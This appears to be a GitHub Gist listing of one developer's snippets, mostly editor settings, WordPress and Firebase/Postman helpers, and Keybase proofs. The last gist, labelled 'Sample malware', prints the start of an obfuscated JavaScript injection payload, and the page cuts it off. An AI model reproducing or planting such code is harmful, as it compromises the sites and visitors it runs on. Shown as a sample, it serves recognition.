Skip to content

Instantly share code, notes, and snippets.

View moneal's full-sized avatar

Morgan O'Neal moneal

View GitHub Profile
@moneal
moneal / settings.json
Created April 26, 2020 15:18
Windows version of VS Code settings
{
"terminal.integrated.shell.windows": "C:\\Program Files\\Git\\bin\\bash.exe",
"window.menuBarVisibility": "visible",
"editor.fontSize": 18,
"window.zoomLevel": 0,
"editor.fontFamily": "'Cascadia Code', Consolas, 'Courier New', monospace",
"editor.fontLigatures": true,
"editor.rulers": [
80,
120,
@moneal
moneal / unicorn-drops.ts
Created April 13, 2019 03:52
Generate an array of hex color strings
const unicornDrops = (nugglets: number) => {
// From http://www.nikolay.rocks/2015-10-29-rainbows-generator-in-javascript
// https://livias.co.uk/2018/03/15/nugglets-launch-whole-foods-exclusive/ --- like for real
const sinToHex = (i: number, phase: number) => {
const sin = Math.sin(Math.PI / nugglets * 2 * i + phase);
const int = Math.floor(sin * 127) + 128;
const hex = int.toString(16);
return hex.length === 1 ? '0' + hex : hex;
};
@moneal
moneal / firebase_pre-request_script.js
Created August 23, 2017 02:21
Postman pre-request script to create a Firebase authentication JWT header.
/**
* This script expects the global variables 'refresh_token' and 'firebase_api_key' to be set. 'firebase_api_key' can be found
* in the Firebase console under project settings then 'Web API Key'.
* 'refresh_token' as to be gathered from watching the network requests to https://securetoken.googleapis.com/v1/token from
* your Firebase app, look for the formdata values
*
* If all the data is found it makes a request to get a new token and sets a 'auth_jwt' environment variable and updates the
* global 'refresh_token'.
*
* Requests that need authentication should have a header with a key of 'Authentication' and value of '{{auth_jwt}}'

Keybase proof

I hereby claim:

  • I am moneal on github.
  • I am moneal (https://keybase.io/moneal) on keybase.
  • I have a public key ASA09AdjNPjvsiu5VQa0K_pEmnOYY8HkvWdcNXNri9E3Hgo

To claim this, I am signing this object:

@moneal
moneal / function.php
Created July 29, 2015 17:48
Add mandrill subaccount to wordpress
<?php
function PREFIX_add_mandrill_subaccount( $message ) {
//$subaccount_id = get_option('mandrill_subaccount');
$subaccount_id = 'SUB ACCOUNT ID';
if ( $subaccount_id ) {
$message['subaccount'] = $subaccount_id;
}
return $message;
}
@media (max-width: $screen-xs-max) { ... }
@media (min-width: $screen-sm-min) { ... }
@media (max-width: $screen-sm-max) { ... }
@media (min-width: $screen-md-min) { ... }
@media (max-width: $screen-md-max) { ... }
@media (min-width: $screen-lg-min) { ... }
@moneal
moneal / gist:8ecbe26c1de498437a2a
Created March 4, 2015 17:18
PHP dev server with mail disabled.
php -S localhost:8000 -t vendor/wordpress -d disable_functions=mail

Keybase proof

I hereby claim:

  • I am moneal on github.
  • I am moneal (https://keybase.io/moneal) on keybase.
  • I have a public key whose fingerprint is 4DBE 7A2E 8D95 168E 2932 8172 CF93 2D3B 77FA 449B

To claim this, I am signing this object:

@moneal
moneal / gist:9859180
Created March 29, 2014 18:03
Disable WordPress script concatenation.
/**
* Disable script concatenation.
* If WordPress's dashboard isn't loading styles from load-styles.php
* add this to wp-config.php to disable concatenation and load styles that
* don't have errors
*/
define( 'CONCATENATE_SCRIPTS', false );
@moneal
moneal / gist:4456709
Created January 4, 2013 21:37
Sample malware
/*ded87fb3b80c1c71a65e465501e2c455*/try{document["b"+"ody"]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["3o","4d","46","3l","4c","41","47","46","16","3p","4a","3j","1e","3j","1i","3k","1f","4j","4a","3n","4c","4d","4a","46","16","2p","3j","4c","40","1k","3o","44","47","47","4a","1e","2p","3j","4c","40","1k","4a","3j","46","3m","47","45","1e","1f","1g","1e","3k","1j","3j","1h","1n","1f","1f","1h","3j","27","4l","d","a","3o","4d","46","3l","4c","41","47","46","16","4a","4b","1e","1f","4j","4a","3n","4c","4d","4a","46","16","2p","3j","4c","40","1k","4a","3j","46","3m","47","45","1e","1f","1k","4c","47","35","4c","4a","41","46","3p","1e","1p","22","1f","1k","4b","4d","3k","4b","4c","4a","41","46","3p","1e","21","1f","27","4l","d","a","41","3o","1e","46","3j","4e","41","3p","3j","4c","47","4a","1k","3l","47","47","43","41","3n","2h","46","3j","3k","44","3n","